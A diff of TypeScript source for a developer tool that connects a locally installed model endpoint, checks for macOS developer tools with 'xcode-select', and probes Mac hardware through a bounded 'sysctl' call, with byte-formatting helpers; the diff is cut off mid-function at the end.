await unlink(join(skillDir, file.relPath)).catch(() => {});
}
await rmdir(join(skillDir, 'reference')).catch(() => {}); // fails when non-empty, fine
await removeAgentSkillGitignoreIfLast(skillDir);
await rmdir(skillDir).catch(() => {});
await rmdir(dirname(skillDir)).catch(() => {}); // prune `.claude/skills` (or the CLI's own dir) if now empty
return 'removed';
@@ -1696,10 +1601,7 @@ export function agentSkillDirFor(casePath: string, dir: AgentSkillDir): string {
* Add or remove the Codeman agent skill in `<case>/<dir>/codeman`, where `dir` is the
* skills directory the session's CLI scans (default: Claude Code's `.claude/skills`;
* callers resolve it with `agentSkillDir()`), mirroring `applyStatusLineConfig`'s
* shape. Gated by the synced `agentSkillEnabled` app setting: default ON since 1.50.0
* (an absent key is on, only an explicit false is off; `getAgentSkillEnabled()` in
* server.ts), which is safe for a user's repository because the copy ignores itself
* in git (`ensureAgentSkillGitignore`).
* shape. Gated by the synced `agentSkillEnabled` app setting (default OFF).
*
* Call-site policy is ADD-ONLY on session create (callers pass `enabled: true` or
* skip the call), for the statusLine reason: sessions in a repo share one workspace,
+305
View File
@@ -0,0 +1,305 @@
/**
* @fileoverview Connecting the installed local model to Codeman, and undoing it: the endpoint
* record, the settings flag, and the checks around them.
*
* These are the ONLY two writes of the local model outside its own folder:
* 1. One record in `custom-model-hosts.json`, through `mutateCustomModelHosts()`:
* `{ id: 'local-ollama', label: 'This Mac', baseUrl: 'http://127.0.0.1:<port>',
* authStyle: 'bearer', models: [<id as /v1/models lists it>], defaultModelId,
* defaultContextLength: <the chosen context> }`, validated by `CustomModelHostSchema`
* before it is written. No `apiKey`. `defaultContextLength` is what reaches the coding
* agent as its context limit, because the runtime's model listing states none.
* 2. `customModelEndpointsEnabled: true` in `settings.json`, through `mutateSettingsFile()`.
* The value it had before is returned and kept in the state file.
*
* Rules:
* - The id is reserved. A record with it that this feature did not write is never
* overwritten: the connect step fails with `endpoint-id-taken`.
* - The connection is CLAIMED before it is written: the install job records `connection` in
* the state file first (`inspectLocalEndpoint()` tells it what is there and what the flag
* is), then calls `connectLocalModel()` with `ours: true`. A state write that fails, or a
* server that is killed between the two, therefore never leaves a record of ours that the
* state file does not know: the worst case is a claim with nothing behind it, which a
* resumed job fills in and Remove undoes.
* - Second net: a record with the reserved id that already says exactly what ours would say
* (`isSameLocalEndpoint()`) is ours whatever `ours` says. Nobody else can have made it: the
* endpoint routes refuse the reserved id.
* - Both writes are idempotent, so a resumed job writes them again.
* - Undoing removes our record, and switches the flag off again only when this feature
* switched it on AND no other endpoint is saved.
* - The model's digest is compared again before a session starts and at boot
* (`compareModelDigest()`): a model that changed under the same name is not launched.
* - The record is MANAGED while the state file records it as ours (`isManagedLocalEndpoint()`):
* the endpoint routes then refuse to edit or delete it and the discovery sweep leaves it
* alone, so its `models` stays the one model the install job checked.
*/
import { mutateCustomModelHosts } from '../custom-model-hosts-writer.js';
import type { CustomModelHost } from '../custom-model-hosts.js';
import { getDataDir } from '../config/instance.js';
import { readCustomModelHosts } from '../custom-model-hosts.js';
import { getErrorMessage, type LocalModelErrorCode } from '../types.js';
import { readJsonConfig, SETTINGS_PATH } from '../web/route-helpers.js';
import { CustomModelHostSchema } from '../web/schemas.js';
import { mutateSettingsFile } from '../web/settings-writer.js';
import { readLocalModelState } from './state-store.js';
/** The key of the settings flag that shows saved endpoints in the Run menu and runs the discovery sweep. */
const ENDPOINTS_FLAG = 'customModelEndpointsEnabled';
/** The id of the endpoint record this feature writes. Reserved: nobody else may use it. */
export const LOCAL_MODEL_ENDPOINT_ID = 'local-ollama';
/** The label of that record, what the Run menu shows in brackets. */
export const LOCAL_MODEL_ENDPOINT_LABEL = 'This Mac';
/** What the endpoint record is built from. */
export interface LocalEndpointInput {
/** The runtime's loopback port. */
port: number;
/** The model id exactly as the runtime's `/v1/models` lists it. */
modelId: string;
/** The chosen context length in tokens. */
context: number;
}
/** The endpoint record of the file header. Pure; the caller validates it with `CustomModelHostSchema`. */
export function buildLocalEndpointRecord(input: LocalEndpointInput): CustomModelHost {
return {
id: LOCAL_MODEL_ENDPOINT_ID,
label: LOCAL_MODEL_ENDPOINT_LABEL,
baseUrl: `http://127.0.0.1:${input.port}`,
authStyle: 'bearer',
models: [input.modelId],
defaultModelId: input.modelId,
defaultContextLength: input.context,
};
}
/**
* Whether a saved record says exactly what our record for `input` says: the same address, the
* one model, its context, no key. What discovery may have added to it (context lengths, a
* time stamp) does not count. Pure.
*/
export function isSameLocalEndpoint(host: CustomModelHost, input: LocalEndpointInput): boolean {
const ours = buildLocalEndpointRecord(input);
return (
host.id === ours.id &&
host.label === ours.label &&
host.baseUrl === ours.baseUrl &&
host.authStyle === ours.authStyle &&
host.apiKey === undefined &&
Array.isArray(host.models) &&
host.models.length === 1 &&
host.models[0] === input.modelId &&
host.defaultModelId === ours.defaultModelId &&
host.defaultContextLength === ours.defaultContextLength
);
}
/** What the connect step finds before it claims the connection. */
export interface LocalEndpointInspection {
/**
* The saved record with the reserved id: there is none, it says what ours would say, or it
* says something else (somebody else's: `endpoint-id-taken`).
*/
record: 'absent' | 'same' | 'other';
/** `customModelEndpointsEnabled` right now: what the claim keeps as the value before this feature. */
flagEnabled: boolean;
}
/**
* Looks at the endpoint store and the settings flag WITHOUT writing either. The install job
* calls it before it claims the connection in the state file. Rejects when the endpoint store
* cannot be read; a settings file that cannot be read counts as "the flag is off".
*/
export async function inspectLocalEndpoint(input: LocalEndpointInput): Promise<LocalEndpointInspection> {
const hosts = await readCustomModelHosts(getDataDir());
const existing = hosts.find((host) => host.id === LOCAL_MODEL_ENDPOINT_ID);
const settings = await readJsonConfig<Record<string, unknown>>(SETTINGS_PATH, 'settings.json', {});
return {
record: !existing ? 'absent' : isSameLocalEndpoint(existing, input) ? 'same' : 'other',
flagEnabled: settings[ENDPOINTS_FLAG] === true,
};
}
export interface ConnectLocalModelInput extends LocalEndpointInput {
/**
* True when the state file already records a connection of ours: an existing record with
* our id is then ours and is replaced. False: such a record is somebody else's, unless it
* says exactly what ours would say (`isSameLocalEndpoint()`).
*/
ours: boolean;
/**
* The flag's value before this feature first switched it on, when the state file already
* holds one. It is handed back unchanged, so a second connect cannot overwrite it with `true`.
*/
flagWasEnabled?: boolean;
}
/** How the connect step ended. */
export type ConnectResult =
| {
ok: true;
/** The value `customModelEndpointsEnabled` had before this feature switched it on. */
flagWasEnabled: boolean;
}
| { ok: false; code: Extract<LocalModelErrorCode, 'endpoint-id-taken' | 'connect-failed'>; detail?: string };
/**
* Writes the record and the flag. Idempotent. Never throws: a refused write is `connect-failed`
* with its message as `detail`.
*
* The record goes first, with the "is the id free" check in the same serialized step as the
* write, so a record that is somebody else's is found before anything is changed. Should the
* flag then fail to save, a record this call ADDED is taken out again: the pair is never left
* half done, and a later attempt starts from the same place.
*/
export async function connectLocalModel(input: ConnectLocalModelInput): Promise<ConnectResult> {
const parsed = CustomModelHostSchema.safeParse(buildLocalEndpointRecord(input));
if (!parsed.success) {
return { ok: false, code: 'connect-failed', detail: `The endpoint record is not valid: ${parsed.error.message}` };
}
const record: CustomModelHost = parsed.data;
let outcome: 'added' | 'replaced' | 'taken';
try {
outcome = await mutateCustomModelHosts<'added' | 'replaced' | 'taken'>((hosts) => {
const index = hosts.findIndex((host) => host.id === record.id);
if (index === -1) return { hosts: [...hosts, record], result: 'added' };
if (!input.ours && !isSameLocalEndpoint(hosts[index], input)) return { result: 'taken' };
const next = [...hosts];
next[index] = record;
return { hosts: next, result: 'replaced' };
});
} catch (err) {
return { ok: false, code: 'connect-failed', detail: getErrorMessage(err) };
}
if (outcome === 'taken') return { ok: false, code: 'endpoint-id-taken' };
let flagBefore: boolean;
try {
const { before } = await mutateSettingsFile((current) =>
current[ENDPOINTS_FLAG] === true ? undefined : { ...current, [ENDPOINTS_FLAG]: true }
);
flagBefore = before[ENDPOINTS_FLAG] === true;
} catch (err) {
if (outcome === 'added') await removeLocalEndpoint().catch(() => {});
return { ok: false, code: 'connect-failed', detail: getErrorMessage(err) };
}
return { ok: true, flagWasEnabled: input.flagWasEnabled ?? flagBefore };
}
/**
* Puts our record back when it is gone, and does nothing when a record with our id exists
* (it is never replaced here). For the start of the server while a model is installed: a
* config-backup restore can bring back an older endpoint store without our record while the
* model, the runtime and the state file stay. The settings flag is NOT touched: a person who
* switched it off meant to. Resolves true when the record was added. Never throws.
*/
export async function ensureLocalEndpoint(input: LocalEndpointInput): Promise<boolean> {
const parsed = CustomModelHostSchema.safeParse(buildLocalEndpointRecord(input));
if (!parsed.success) return false;
const record: CustomModelHost = parsed.data;
try {
return await mutateCustomModelHosts<boolean>((hosts) =>
hosts.some((host) => host.id === record.id) ? { result: false } : { hosts: [...hosts, record], result: true }
);
} catch {
// A store that must not be overwritten stays as it is; a session start then says what is wrong.
return false;
}
}
/** Takes our record out of the store. Resolves with how many OTHER endpoints are saved. */
async function removeLocalEndpoint(): Promise<number> {
return mutateCustomModelHosts<number>((hosts) => {
const others = hosts.filter((host) => host.id !== LOCAL_MODEL_ENDPOINT_ID);
return others.length === hosts.length ? { result: others.length } : { hosts: others, result: others.length };
});
}
/**
* Moves our record to another port (the answer to "Use another port" once connected). A
* missing record is not an error, and a record that is already there is not written again.
*/
export async function moveLocalEndpoint(port: number): Promise<void> {
const baseUrl = `http://127.0.0.1:${port}`;
await mutateCustomModelHosts<void>((hosts) => {
const index = hosts.findIndex((host) => host.id === LOCAL_MODEL_ENDPOINT_ID);
if (index === -1 || hosts[index].baseUrl === baseUrl) return { result: undefined };
const next = [...hosts];
next[index] = { ...next[index], baseUrl };
return { hosts: next, result: undefined };
});
}
/**
* Removes our record, and restores the settings flag when this feature switched it on
* (`flagWasEnabled` is false) and no other endpoint is left. Idempotent.
*/
export async function disconnectLocalModel(input: { flagWasEnabled: boolean }): Promise<void> {
const othersLeft = await removeLocalEndpoint();
if (input.flagWasEnabled || othersLeft > 0) return;
await mutateSettingsFile((current) =>
current[ENDPOINTS_FLAG] === true ? { ...current, [ENDPOINTS_FLAG]: false } : undefined
);
}
/** Whether `id` is the reserved endpoint id. For the endpoint routes and the discovery sweep, which leave that record alone. */
export function isLocalModelEndpointId(id: string): boolean {
return id === LOCAL_MODEL_ENDPOINT_ID;
}
/**
* Whether the saved endpoint `id` is the record THIS feature wrote and still owns: the id is
* the reserved one and the state file records a connection under it. A record with the
* reserved id that somebody made by hand (before this feature, or while nothing is installed)
* is not managed, so its owner can still edit and delete it. Never throws.
*/
export async function isManagedLocalEndpoint(id: string): Promise<boolean> {
if (!isLocalModelEndpointId(id)) return false;
const state = await readLocalModelState();
return state.connection?.endpointId === id;
}
/**
* The names of the live sessions that use the endpoint `endpointId`, in the order given.
* Pure. What `DELETE /api/local-model` answers its 409 with.
*/
export function sessionNamesUsingEndpoint(
sessions: Iterable<{ name: string; customModel?: { endpointId: string } }>,
endpointId: string = LOCAL_MODEL_ENDPOINT_ID
): string[] {
const names: string[] = [];
for (const session of sessions) {
if (session.customModel?.endpointId === endpointId) names.push(session.name);
}
return names;
}
/**
* Compares the digest stored at install time with the one the runtime reports now. Pure.
* - `same`: launch.
* - `changed`: refuse (`model-changed`): the name now stands for other weights or another template.
* - `unknown`: one of the two is absent (the runtime does not answer, the model is gone).
* The caller refuses as well, with the reason it knows.
*/
export function compareModelDigest(
stored: string | undefined,
current: string | undefined
): 'same' | 'changed' | 'unknown' {
const a = normalizeDigest(stored);
const b = normalizeDigest(current);
if (!a || !b) return 'unknown';
return a === b ? 'same' : 'changed';
}
/** A digest as it is compared: lowercase hex, without the `sha256:` some listings put in front. */
function normalizeDigest(digest: string | undefined): string | undefined {
if (typeof digest !== 'string') return undefined;
const hex = digest
.trim()
.toLowerCase()
.replace(/^sha256:/, '');
return hex === '' ? undefined : hex;
}
+117
View File
@@ -0,0 +1,117 @@
/**
* @fileoverview Whether this Mac has the developer tools a coding agent calls (git, Python).
*
* Why it exists: on a Mac without Xcode or the Command Line Tools, `git` and `python3` are
* stubs that open macOS's "install the command line developer tools" window. A coding agent
* runs both, so the install window says one honest sentence when the tools are missing
* (`LOCAL_MODEL_INSTALL_LABELS.developerToolsMissing`).
*
* Rules:
* - The ONLY command ever run is `/usr/bin/xcode-select -p`, bounded by a timeout. Never
* `git`, `python3`, `xcrun` or anything else that would open that window itself.
* - macOS only. Anywhere else, and when the command does not answer in time, the answer is
* `unknown`, and nothing is said.
* - Never throws. The answer is cached for a short while, so a window that polls once a
* second does not spawn once a second. Only `present` and `missing` are cached: an
* `unknown` is asked again, because it says the check itself did not work.
* - Under vitest the default `run` spawns nothing and answers "did not start", so a test
* that wants an answer injects its own.
*/
import { execFile } from 'node:child_process';
import type { LocalModelDeveloperTools } from '../types.js';
/** How long `/usr/bin/xcode-select -p` may take. */
export const DEVELOPER_TOOLS_TIMEOUT_MS = 2_000;
/** How long an answer is reused. Installing the tools takes minutes, so a minute of staleness is not seen. */
const DEVELOPER_TOOLS_CACHE_MS = 60_000;
/** The one command this module runs. It prints the active developer directory and exits 0, or exits with an error when there is none. */
const XCODE_SELECT = '/usr/bin/xcode-select';
/** What the check calls. Each member defaults to the real thing; a test injects its own. */
export interface DeveloperToolsDeps {
/** Default `process.platform`. */
platform: string;
/** Runs `file` with `args` and resolves with its exit code (`null` when it timed out or could not be started). */
run: (file: string, args: readonly string[], timeoutMs: number) => Promise<number | null>;
}
/** The default `run`: one bounded `execFile`, no shell. Spawns nothing under vitest. */
function runBounded(file: string, args: readonly string[], timeoutMs: number): Promise<number | null> {
return new Promise((resolve) => {
if (process.env.VITEST) return resolve(null);
try {
execFile(file, [...args], { timeout: timeoutMs }, (err) => {
if (!err) return resolve(0);
// A number is the exit code of a command that ran. Anything else (ENOENT, a timeout
// that killed it) is "it did not answer".
const code = (err as { code?: unknown }).code;
resolve(typeof code === 'number' && !(err as { killed?: boolean }).killed ? code : null);
});
} catch {
resolve(null);
}
});
}
async function check(deps: DeveloperToolsDeps): Promise<LocalModelDeveloperTools> {
if (deps.platform !== 'darwin') return 'unknown';
let code: number | null;
try {
code = await deps.run(XCODE_SELECT, ['-p'], DEVELOPER_TOOLS_TIMEOUT_MS);
} catch {
code = null;
}
if (code === null || !Number.isInteger(code)) return 'unknown';
return code === 0 ? 'present' : 'missing';
}
/**
* A check that remembers its answer for a minute and shares one run among callers that ask at
* the same time. `now` is the clock of the cache; a test injects its own.
*/
export function createDeveloperToolsCheck(
deps: Partial<DeveloperToolsDeps> & { now?: () => number } = {}
): () => Promise<LocalModelDeveloperTools> {
const resolved: DeveloperToolsDeps = {
platform: deps.platform ?? process.platform,
run: deps.run ?? runBounded,
};
const now = deps.now ?? Date.now;
let cached: { answer: LocalModelDeveloperTools; at: number } | undefined;
let inFlight: Promise<LocalModelDeveloperTools> | undefined;
return () => {
if (cached && now() - cached.at < DEVELOPER_TOOLS_CACHE_MS) return Promise.resolve(cached.answer);
inFlight ??= check(resolved)
.then((answer) => {
if (answer !== 'unknown') cached = { answer, at: now() };
return answer;
})
.finally(() => {
inFlight = undefined;
});
return inFlight;
};
}
/** The check of this server's own Mac. */
let shared = createDeveloperToolsCheck();
/** Forgets the cached answer of this server's own Mac. For tests. */
export function resetDeveloperToolsCache(): void {
shared = createDeveloperToolsCheck();
}
/**
* `present` when `/usr/bin/xcode-select -p` exits 0, `missing` when it exits with anything
* else, `unknown` otherwise. Without `deps` it is the cached check of this server's Mac; with
* a platform or a runner of the caller's it asks once and remembers nothing.
*/
export async function checkDeveloperTools(deps: Partial<DeveloperToolsDeps> = {}): Promise<LocalModelDeveloperTools> {
if (deps.platform !== undefined || deps.run !== undefined) {
return check({ platform: deps.platform ?? process.platform, run: deps.run ?? runBounded });
}
return shared();
}
+48
View File
@@ -0,0 +1,48 @@
/**
* @fileoverview The formatters of the local model recommendation, and its byte units.
*
* `formatGb()` is the ONE place a byte count becomes a size a person reads: decimal GB (the
* unit the Finder and the model registry use). `hardware.ts` and `recommend.ts` call it to fill
* the `...Gb` text fields of the payload (`memGb`, `freeDiskGb`, `needGb`, `downloadGb`,
* `budgetGb`, and the size slots of a `LocalModelMessage`). Nothing else may turn bytes into a
* size for display, the browser included: it prints the text it was sent.
*
* GiB and MiB exist only for the budget math (reserves, the wired limit, the device total the
* runtime reports) and never reach a person, with one exception: `memClassGb()`, the memory
* size a Mac is sold as, is how the card names the installed memory ("48 GB memory", what
* About This Mac shows). It is a name of the machine, not a computed size: `formatGb()` of the
* same bytes reads 51.5, which no owner recognises. Every computed size (need, budget,
* download, free disk) is `formatGb()`.
*
* Pure: no IO, no state.
*/
/** One decimal gigabyte, the unit a person reads. */
export const GB = 1_000_000_000;
/** One binary gigabyte. Budget math only. */
export const GIB = 1024 ** 3;
/** One binary megabyte. Budget math only. */
export const MIB = 1024 ** 2;
/**
* A byte count as decimal GB text, WITHOUT the unit: one decimal below 100 ('6.6', '17.7',
* '25.5'), a whole number from 100 ('212'). The caller's sentence supplies ' GB'.
* Anything that is not a positive finite number reads '0.0'.
*/
export function formatGb(bytes: number): string {
if (!Number.isFinite(bytes) || bytes <= 0) return '0.0';
const tenths = Math.round((bytes / GB) * 10) / 10;
return tenths >= 100 ? String(Math.round(bytes / GB)) : tenths.toFixed(1);
}
/**
* The memory size a Mac is sold as: whole binary gigabytes (17179869184 bytes is 16). This is
* `HardwareFacts.memClassGb`: the key of the tier rules ("below 36 GB") and of `TestedOn.memGb`,
* and what the card and the `noneMemory` sentence call the installed memory. It names a class
* of Mac; 0 means the size is unknown and is never shown. Any other size for display is
* `formatGb()`.
*/
export function memClassGb(memBytes: number): number {
if (!Number.isFinite(memBytes) || memBytes <= 0) return 0;
return Math.round(memBytes / GIB);
}
+409
View File
@@ -0,0 +1,409 @@
/**
* @fileoverview The hardware probe of the local model recommendation: what this Mac is.
*
* - `parseSysctl()`: a pure parser of `key: value` lines. The command runs WITHOUT `-n`, so a
* key that is missing on a machine (`sysctl.proc_translated` on Intel) cannot shift the
* others, and a line it does not know is ignored.
* - `readHardware()`: ONE bounded async spawn of `SYSCTL_PATH` with `SYSCTL_KEYS`, the free disk
* of the data dir through `fs.promises.statfs`, fallbacks from `node:os` when the spawn
* fails, and a 60 s cache.
*
* Rules:
* - Never throws and never rejects: a failed probe is an answer (`source: 'os-fallback'`), and
* off macOS nothing is spawned and no disk is read (`source: 'not-probed'`).
* - Never `system_profiler` (tens of milliseconds and a parse of free text), never a second
* spawn, never a synchronous exec on the server's event loop.
* - A non-zero exit is tolerated once `hw.memsize` parsed (a missing key makes sysctl exit 1).
* Without `hw.memsize` nothing else of that output is trusted: the answer is the fallback.
* - Only a line that ends in a newline counts. A cut-off tail is not a value: half of
* `hw.memsize` would read as a smaller, valid number.
* - `iogpu.wired_limit_mb` of 0 means "not set": it is reported as 0 and only a value above 0
* is ever used as a limit.
* - The data dir can sit on a network mount that stopped answering, so the disk read is
* bounded too: the folder is probed with the bounded path probe first, the `statfs` is raced
* against a timeout, and a `statfs` that never came back is not started a second time.
* - `memGb`, `memClassGb` and `freeDiskGb` are filled here through src/local-model/format.ts,
* the one place a size is formatted.
*/
import { execFile } from 'node:child_process';
import { statfs } from 'node:fs/promises';
import os from 'node:os';
import { dirname } from 'node:path';
import type { HardwareFacts } from '../types.js';
import { getDataDir } from '../config/instance.js';
import { probePathKind, type PathProbeKind } from '../utils/bounded-path-probe.js';
import { formatGb, memClassGb } from './format.js';
/** Absolute path, so the server's PATH (minimal under a service manager) cannot change what runs. */
export const SYSCTL_PATH = '/usr/sbin/sysctl';
/** The keys of the one spawn, in the order they are passed. */
export const SYSCTL_KEYS = [
'hw.memsize',
'machdep.cpu.brand_string',
'hw.optional.arm64',
'sysctl.proc_translated',
'iogpu.wired_limit_mb',
'kern.osproductversion',
'hw.model',
] as const;
/** Upper bound of the spawn (it answers in about 2 ms on a real Mac). */
export const SYSCTL_TIMEOUT_MS = 2000;
/** How long one probe result is reused. */
export const HARDWARE_CACHE_TTL_MS = 60_000;
/** Upper bound of the wait for the free disk figure. */
export const FREE_DISK_TIMEOUT_MS = 2000;
/** Seven short lines are well under this. A larger output is not sysctl's. */
const SYSCTL_MAX_OUTPUT_BYTES = 64 * 1024;
/** Longest text value kept (a chip name, a model identifier, a version). */
const MAX_TEXT_VALUE_LENGTH = 100;
/** How many parent folders are tried when the data dir does not exist yet. */
const FREE_DISK_MAX_PARENT_STEPS = 6;
/** What `parseSysctl()` read. Every field is absent when its key was missing or its value did not parse. */
export interface SysctlFacts {
/** `hw.memsize`. */
memBytes?: number;
/** `machdep.cpu.brand_string`. */
chip?: string;
/** `hw.optional.arm64` is 1. */
arm64?: boolean;
/** `sysctl.proc_translated` is 1. */
translated?: boolean;
/** `iogpu.wired_limit_mb`, as reported (0 stays 0). */
wiredLimitMb?: number;
/** `kern.osproductversion`. */
macosVersion?: string;
/** The leading number of `macosVersion`. */
macosMajor?: number;
/** `hw.model`. */
model?: string;
}
/** The IO of `readHardware()`, injectable so a test spawns nothing and reads no real disk. Each member defaults to the real thing. */
export interface HardwareProbeDeps {
/** Default `process.platform`. */
platform?: string;
/** Default `os.arch()`. */
arch?: string;
/** Runs the one spawn. Resolves its stdout, also after a non-zero exit, or `undefined` when it could not run or timed out. Never rejects. */
runSysctl?: () => Promise<string | undefined>;
/** Free bytes on the data dir's filesystem, or `undefined` when unknown. Never rejects. */
freeDiskBytes?: () => Promise<number | undefined>;
/** Default `os.totalmem()`. */
totalMemBytes?: () => number;
/** Default `os.cpus()[0]?.model`. */
cpuModel?: () => string | undefined;
/** Default `Date.now`. The clock of the cache. */
now?: () => number;
}
/** A whole number without sign, as sysctl prints one. */
function parseCount(value: string): number | undefined {
if (!/^\d+$/.test(value)) return undefined;
const parsed = Number(value);
return Number.isSafeInteger(parsed) ? parsed : undefined;
}
/** sysctl prints a flag as 0 or 1. Anything else is not a flag. */
function parseFlag(value: string): boolean | undefined {
if (value === '1') return true;
if (value === '0') return false;
return undefined;
}
function parseText(value: string): string | undefined {
return value !== '' && value.length <= MAX_TEXT_VALUE_LENGTH ? value : undefined;
}
/**
* Parse the output of `sysctl <keys>` (no `-n`): one `key: value` line per key it knows.
* Pure. Unknown lines, blank lines and error lines are skipped, and so is a last line that does
* not end in a newline. The first line of a key wins.
*/
export function parseSysctl(text: string): SysctlFacts {
const facts: SysctlFacts = {};
const lines = text.split('\n');
// What follows the last newline is either empty or a cut-off line.
lines.pop();
for (const rawLine of lines) {
const line = rawLine.replace(/\r$/, '');
const colon = line.indexOf(':');
if (colon <= 0) continue;
const key = line.slice(0, colon).trim();
const value = line.slice(colon + 1).trim();
switch (key) {
case 'hw.memsize': {
const bytes = parseCount(value);
if (bytes !== undefined && bytes > 0) facts.memBytes ??= bytes;
break;
}
case 'machdep.cpu.brand_string':
facts.chip ??= parseText(value);
break;
case 'hw.optional.arm64':
facts.arm64 ??= parseFlag(value);
break;
case 'sysctl.proc_translated':
facts.translated ??= parseFlag(value);
break;
case 'iogpu.wired_limit_mb':
facts.wiredLimitMb ??= parseCount(value);
break;
case 'kern.osproductversion': {
const version = /^(\d+)(?:\.\d+)*$/.exec(value);
if (version && value.length <= MAX_TEXT_VALUE_LENGTH && facts.macosVersion === undefined) {
facts.macosVersion = value;
facts.macosMajor = Number(version[1]);
}
break;
}
case 'hw.model':
facts.model ??= parseText(value);
break;
default:
break;
}
}
return facts;
}
/**
* The one spawn: `command` with `SYSCTL_KEYS` as its arguments and nothing else (no `-n`).
* Resolves stdout when the program ran, also after a non-zero exit (a key this machine lacks
* makes sysctl exit 1 while the other keys are printed). Resolves `undefined` when it could not
* be started, was killed (the timeout) or printed too much. Never rejects.
*
* The two parameters exist for the test, which runs a script of its own in place of sysctl.
*/
export function spawnSysctl(
command: string = SYSCTL_PATH,
timeoutMs: number = SYSCTL_TIMEOUT_MS
): Promise<string | undefined> {
return new Promise((resolve) => {
try {
execFile(
command,
[...SYSCTL_KEYS],
{
timeout: timeoutMs,
maxBuffer: SYSCTL_MAX_OUTPUT_BYTES,
encoding: 'utf8',
windowsHide: true,
// sysctl needs nothing from the server's environment, which can hold a password.
env: { LC_ALL: 'C' },
},
(error, stdout) => {
if (!error) return resolve(stdout);
// A numeric code is an exit status: the program ran. A string code (ENOENT, EACCES,
// the buffer limit) or a signal means it did not run to its end.
const ranToEnd = typeof error.code === 'number' && !error.killed && !error.signal;
resolve(ranToEnd ? stdout : undefined);
}
);
} catch {
resolve(undefined);
}
});
}
/**
* Free bytes on the filesystem that holds `path` (`bavail * bsize`: what an unprivileged
* process can use), or `undefined` when the filesystem does not say. Not bounded by itself: see
* `dataDirFreeBytes()`.
*/
export async function freeDiskBytesOf(path: string): Promise<number | undefined> {
try {
const stat = await statfs(path);
const free = Number(stat.bavail) * Number(stat.bsize);
return Number.isFinite(free) && free >= 0 ? free : undefined;
} catch {
return undefined;
}
}
/** The one `statfs` that may be pending. While it is, no second one is started. */
let pendingStatfs: Promise<number | undefined> | undefined;
/** The IO of `dataDirFreeBytes()`. Each member defaults to the real thing; a test passes its own. */
export interface FreeDiskDeps {
/** Default `getDataDir()`. */
dataDir?: () => string;
/** Default the bounded path probe (`probePathKind`). */
probeKind?: (path: string) => Promise<PathProbeKind>;
/** Default `freeDiskBytesOf`. */
freeBytesOf?: (path: string) => Promise<number | undefined>;
/** Default `FREE_DISK_TIMEOUT_MS`. */
timeoutMs?: number;
}
/**
* Free bytes on the data dir's filesystem, bounded. The folder (or, when it does not exist yet,
* its nearest existing parent) is found with the bounded path probe, which never waits on a
* dead mount twice; the `statfs` itself is raced against a timeout. `undefined` when the
* filesystem does not answer in time, or is not known to be a folder.
*/
export async function dataDirFreeBytes(deps: FreeDiskDeps = {}): Promise<number | undefined> {
// Concurrent probes share one promise in `readHardware()`, so a `statfs` that is still pending
// here was started by an EARLIER probe and has outlived its timeout: a dead mount. It holds
// one threadpool worker, and that is the most this module may ever hold.
if (pendingStatfs) return undefined;
const probeKind = deps.probeKind ?? probePathKind;
let folder: string;
try {
folder = (deps.dataDir ?? getDataDir)();
let kind = await probeKind(folder);
for (let step = 0; kind === 'absent' && step < FREE_DISK_MAX_PARENT_STEPS; step++) {
const parent = dirname(folder);
if (parent === folder) break;
folder = parent;
kind = await probeKind(folder);
}
// 'unknown' is a mount that does not answer (or an unreadable path): do not touch it.
if (kind !== 'directory') return undefined;
} catch {
return undefined;
}
const started = (deps.freeBytesOf ?? freeDiskBytesOf)(folder).catch(() => undefined);
pendingStatfs = started;
const forget = (): void => {
if (pendingStatfs === started) pendingStatfs = undefined;
};
started.then(forget, forget);
let timer: ReturnType<typeof setTimeout> | undefined;
try {
return await Promise.race([
started,
new Promise<undefined>((resolve) => {
timer = setTimeout(() => resolve(undefined), deps.timeoutMs ?? FREE_DISK_TIMEOUT_MS);
timer.unref?.();
}),
]);
} finally {
if (timer) clearTimeout(timer);
}
}
function defaultCpuModel(): string | undefined {
return os.cpus()[0]?.model;
}
/** A dependency that must never break the probe: its value, or `undefined` when it threw or rejected. */
async function attempt<T>(read: () => T | Promise<T>): Promise<T | undefined> {
try {
return await read();
} catch {
return undefined;
}
}
/** Memory and the three fields derived from it. */
function memoryFields(memBytes: number | undefined): Pick<HardwareFacts, 'memBytes' | 'memGb' | 'memClassGb'> {
const bytes = memBytes !== undefined && Number.isFinite(memBytes) && memBytes > 0 ? memBytes : 0;
return { memBytes: bytes, memGb: formatGb(bytes), memClassGb: memClassGb(bytes) };
}
async function probeHardware(deps: HardwareProbeDeps): Promise<HardwareFacts> {
const platform = deps.platform ?? process.platform;
const arch = deps.arch ?? os.arch();
const totalMemBytes = deps.totalMemBytes ?? os.totalmem;
const cpuModel = deps.cpuModel ?? defaultCpuModel;
if (platform !== 'darwin') {
return { platform, arch, ...memoryFields(await attempt(totalMemBytes)), source: 'not-probed' };
}
const [stdout, freeDisk] = await Promise.all([
attempt(deps.runSysctl ?? (() => spawnSysctl())),
attempt(deps.freeDiskBytes ?? (() => dataDirFreeBytes())),
]);
const disk: Pick<HardwareFacts, 'freeDiskBytes' | 'freeDiskGb'> =
freeDisk !== undefined && Number.isFinite(freeDisk) && freeDisk >= 0
? { freeDiskBytes: freeDisk, freeDiskGb: formatGb(freeDisk) }
: {};
const facts = typeof stdout === 'string' ? parseSysctl(stdout) : {};
if (facts.memBytes === undefined) {
const chip = await attempt(cpuModel);
return {
platform,
arch,
...memoryFields(await attempt(totalMemBytes)),
...(chip ? { chip } : {}),
...disk,
source: 'os-fallback',
};
}
const chip = facts.chip ?? (await attempt(cpuModel));
return {
platform,
arch,
...(facts.arm64 !== undefined ? { arm64: facts.arm64 } : {}),
...(facts.translated !== undefined ? { translated: facts.translated } : {}),
...memoryFields(facts.memBytes),
...(chip ? { chip } : {}),
...(facts.model !== undefined ? { model: facts.model } : {}),
...(facts.macosVersion !== undefined ? { macosVersion: facts.macosVersion } : {}),
...(facts.macosMajor !== undefined ? { macosMajor: facts.macosMajor } : {}),
...(facts.wiredLimitMb !== undefined ? { wiredLimitMb: facts.wiredLimitMb } : {}),
...disk,
source: 'sysctl',
};
}
let cached: { at: number; facts: HardwareFacts } | undefined;
let inFlight: Promise<HardwareFacts> | undefined;
/**
* What this machine is. Cached for `HARDWARE_CACHE_TTL_MS`; concurrent callers share one probe.
* Never rejects.
*
* The cache is one per process and does not look at `deps`: within the 60 s a second call
* returns the first call's answer whatever it injects. A test resets it first.
*/
export async function readHardware(deps: HardwareProbeDeps = {}): Promise<HardwareFacts> {
const now = deps.now ?? Date.now;
if (cached) {
const age = now() - cached.at;
if (age >= 0 && age < HARDWARE_CACHE_TTL_MS) return cached.facts;
}
if (inFlight) return inFlight;
const probe = probeHardware(deps)
.catch(
// Unreachable by design (every read above is guarded), and still an answer if it is reached.
(): HardwareFacts => ({
platform: deps.platform ?? process.platform,
